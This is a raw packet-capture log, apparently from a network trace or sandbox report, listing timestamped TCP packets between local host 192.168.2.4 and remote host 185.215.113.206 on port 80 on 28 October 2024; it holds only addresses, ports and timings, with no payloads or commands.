Oct 28, 2024 08:17:36.701176882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701198101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701198101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701225042 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701231956 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701244116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701297045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701316118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701365948 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701385021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701395035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701436043 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701457977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701469898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701478958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701513052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701524019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701565981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701565981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701654911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701664925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701674938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701699018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701714039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701721907 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701775074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701850891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701894999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701936960 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701947927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701958895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701987028 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702016115 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702028036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702037096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702056885 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702056885 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702081919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702138901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702148914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702158928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702167988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702186108 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702209949 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702496052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702507019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702517033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702553034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702553034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702578068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702589989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702599049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702609062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702616930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702651024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702651024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702698946 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.702886105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702896118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702907085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702970028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.702991009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.703214884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.742628098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.742638111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.742649078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.742671967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.742681026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.742805958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820168972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820189953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820199966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820207119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820215940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820225000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820311069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820406914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820444107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820444107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820502043 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820518017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820533991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820558071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820559025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820559025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820595980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820595980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820602894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820620060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820636034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820652008 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820666075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820698977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820698977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820698977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820811033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820837021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820853949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820893049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820893049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.820931911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.820949078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821044922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821242094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821257114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821274042 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821300983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821321011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821321011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821326017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821343899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821352959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821361065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821387053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821387053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821415901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821450949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821502924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821537971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821559906 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821571112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821598053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821614981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821650028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821683884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821691036 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821691036 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821866035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821918964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821963072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.821965933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.821965933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822012901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822014093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822068930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822102070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822112083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822112083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822138071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822154045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822173119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822201014 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822212934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822262049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822268963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822304010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822350025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822350025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822359085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822395086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822412968 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822428942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822464943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822485924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822485924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822499037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822525978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822535038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.822557926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.822640896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.862154007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.862199068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.862236977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.862277985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.862277985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.903225899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.903275013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.903326988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.903326988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.903333902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.903574944 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.939614058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.939682961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.939690113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.939719915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.939755917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.939760923 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.939760923 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.939791918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.939850092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.939871073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.939907074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.939963102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.939968109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.939995050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940035105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940038919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940080881 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940094948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940146923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940196991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940233946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940278053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940290928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940321922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940329075 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940357924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940407991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940411091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940450907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940476894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940485954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940527916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940527916 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940527916 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940565109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940572023 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940598965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940634966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940664053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940664053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940685034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940689087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940742970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940794945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940808058 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940829992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940865040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940898895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940901995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940901995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.940933943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940968990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.940979958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941004038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941061020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941070080 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941097021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941106081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941133976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941178083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941210032 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941214085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941247940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941282988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941288948 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941288948 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941334963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941394091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941426992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941452026 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941459894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941493988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941507101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941507101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941529989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941548109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941581964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941617012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941617012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941642046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941750050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941812992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941817045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941870928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941878080 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941906929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941942930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.941950083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941950083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.941978931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.942013979 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.942049980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.942059040 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.942059040 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.942086935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.942152977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.988004923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.988058090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.988096952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.988099098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.988100052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.988162994 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.022542953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.022706032 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.022732973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.022742987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.022783995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.022783995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059052944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059112072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059139013 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059146881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059159040 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059185028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059221983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059221983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059237003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059276104 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059286118 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059330940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059348106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059401989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059442997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059475899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059510946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059537888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059544086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059555054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059581041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059597969 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059632063 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059668064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059701920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059712887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059736013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059746027 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059783936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059789896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059856892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059891939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059895039 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059926987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059957981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059961081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.059963942 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.059998035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060004950 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.060034037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060050964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.060075998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.060077906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060112000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060144901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060153961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.060199022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060252905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.060254097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060303926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.060307026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060343027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060379028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060384989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.060414076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060450077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060465097 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.060487032 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060487986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.060523033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.060555935 CET	80	49766	185.215.113.206	192.168.2.4
